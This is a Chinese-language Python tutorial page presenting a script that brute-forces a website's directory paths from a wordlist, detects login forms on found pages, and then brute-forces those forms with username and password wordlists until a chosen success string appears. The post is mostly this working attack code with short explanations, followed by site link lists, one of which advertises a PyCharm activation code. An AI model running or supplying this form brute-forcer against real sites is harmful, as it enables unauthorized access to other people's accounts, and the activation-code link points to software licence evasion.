python遍历路径破解表单的示例


Posted in Python onNovember 21, 2020

首先是利用python遍历路径,采用字典爆破的形式,当然如果只是单纯的爆破路径,简单写一个多线程脚本就行了。这里考虑如何对爆破到的路径进行第二步利用,此处尝试对猜解到的路径进行表单发现及登陆爆破处理。

​首先就是路径爆破,采用多线程队列,爆破路径,判断形式为200响应码。

while not self._queue.empty():
      queue = self._queue.get(timeout=0.5)
      try:
        r = requests.get(self.url+queue,timeout=5, headers=self.headers)
        if r.status_code == 200:
          print "[200] %s" %(queue)
          soup = BeautifulSoup(r.content,'html.parser')
          if soup.find('form'):
            self.brute(soup, queue)

猜解到路径后交给brute方法处理,方法实现了一个css选择器,获取form表单中的input字段标签,提取标签参数组合成post参数值,然后提取表单中的action跳转页面,如没有页面默认在当前表单页提交。

input = soup.select("form input")
      for i in input:
        try:
          if i.attrs['type'] == "hidden":
            name, value = i.attrs['name'], i.attrs['value']
            list_post.append(name+'='+value)
          elif i.attrs['type'] == 'password':
            name = i.attrs['name']
            list_post.append(name+'=$$$')
          else:
            name = i.attrs['name']
            list_post.append(name+'=%%%')
        except:
          continue
      for i in list_post:
        post = post + i + '&'
      action = soup.find_all('form')
      for i in action:
        if i['action']:
          actiontag = i['action']
        else:
          actiontag = queue
      self.payload(post, actiontag)

获取参数值后,交给payload方法处理登陆,采用requests库的session登陆。获取cookie,先采用session请求获取cookie后,再采用session携带cookie进行请求提交。然后对输入的验证值进行判断是否为登陆成功。

for name in self.username():
      post_user = post.replace('%%%',name.strip())
      for pwd in self.password():
        post_pwd = post_user.replace('$$$',pwd.strip())
        session = requests.Session()
        session.get(self.url+'/'+action, headers=self.headers, verify=False)
        r = session.post(self.url+'/'+action, data=post_pwd, headers=self.headers, verify=False)
        if self.word in r.content:
          print '[username] %s' %name +'\r' + '[password] %s' %pwd
          return

为了判断是否登陆成功,采用的人为输入判断字符串的形式。也就是脚本执行形式为

python xxx.py http://xxxx.com xxxxx

以上就是python遍历路径破解表单的示例的详细内容,更多关于python 破解表单的资料请关注三水点靠木其它相关文章!

Python 相关文章推荐
Python开发中爬虫使用代理proxy抓取网页的方法示例
Sep 26 Python
python使用Matplotlib画饼图
Sep 25 Python
Django获取该数据的上一条和下一条方法
Aug 12 Python
在python image 中安装中文字体的实现方法
Aug 22 Python
Python socket 套接字实现通信详解
Aug 27 Python
Python基本语法之运算符功能与用法详解
Oct 22 Python
python字符串反转的四种方法详解
Dec 02 Python
python应用Axes3D绘图(批量梯度下降算法)
Mar 25 Python
在Sublime Editor中配置Python环境的详细教程
May 03 Python
Django model.py表单设置默认值允许为空的操作
May 19 Python
PySide2出现“ImportError: DLL load failed: 找不到指定的模块”的问题及解决方法
Jun 10 Python
详解Python 最短匹配模式
Jul 29 Python
Python如何批量生成和调用变量
Nov 21 #Python
在终端启动Python时报错的解决方案
Nov 20 #Python
python 批量下载bilibili视频的gui程序
Nov 20 #Python
Python ellipsis 的用法详解
Nov 20 #Python
python 动态渲染 mysql 配置文件的示例
Nov 20 #Python
Python paramiko使用方法代码汇总
Nov 20 #Python
分享一枚pycharm激活码适用所有pycharm版本我的pycharm2020.2.3激活成功
Nov 20 #Python
You might like
PHP 面向对象 final类与final方法
2010/05/05 PHP
php防止伪造数据从地址栏URL提交的方法
2014/08/24 PHP
php数组键值用法实例分析
2015/02/27 PHP
Symfony2学习笔记之控制器用法详解
2016/03/17 PHP
PHP时间戳格式全部汇总 (获取时间、时间戳)
2016/06/13 PHP
ThinkPHP 模板引擎使用详解
2017/05/07 PHP
PHP基于PDO实现的SQLite操作类【包含增删改查及事务等操作】
2017/06/21 PHP
isArray()函数(JavaScript中对象类型判断的几种方法)
2009/11/26 Javascript
在javaScript中关于submit和button的区别介绍
2013/10/20 Javascript
文档对象模型DOM通俗讲解
2013/11/01 Javascript
Jquery中$.get(),$.post(),$.ajax(),$.getJSON()的用法总结
2013/11/14 Javascript
异步动态加载JS并运行(示例代码)
2013/12/13 Javascript
Angularjs 基础入门
2014/12/26 Javascript
jQuery实现侧浮窗与中浮窗切换效果的方法
2016/09/05 Javascript
详解AngularJs中$resource和restfu服务端数据交互
2016/09/21 Javascript
深入浅析JavaScript中的RegExp对象
2017/09/18 Javascript
如何抽象一个Vue公共组件
2017/10/17 Javascript
bootstrap table.js动态填充单元格数据的多种方法
2019/07/18 Javascript
python中数组和矩阵乘法及使用总结(推荐)
2019/05/18 Python
对python中assert、isinstance的用法详解
2019/11/27 Python
python装饰器相当于函数的调用方式
2019/12/27 Python
python实现多进程按序号批量修改文件名的方法示例
2019/12/30 Python
python应用Axes3D绘图(批量梯度下降算法)
2020/03/25 Python
Python HTMLTestRunner测试报告view按钮失效解决方案
2020/05/25 Python
python Zmail模块简介与使用示例
2020/12/19 Python
让IE支持CSS3的不完全兼容方案
2014/09/19 HTML / CSS
ToysRus日本官网:玩具反斗城
2018/09/08 全球购物
Feelunique中文官网:欧洲最大化妆品零售电商
2020/07/10 全球购物
Laravel中Kafka的使用详解
2021/03/24 PHP
物流管理专业应届生求职信
2013/11/21 职场文书
迎新晚会主持词
2014/03/24 职场文书
推荐信模板
2014/05/09 职场文书
秦兵马俑导游词
2015/02/02 职场文书
幼儿园园长工作总结2015
2015/05/25 职场文书
农村婚庆主持词
2015/06/29 职场文书
用Python写一个简易版弹球游戏
2021/04/13 Python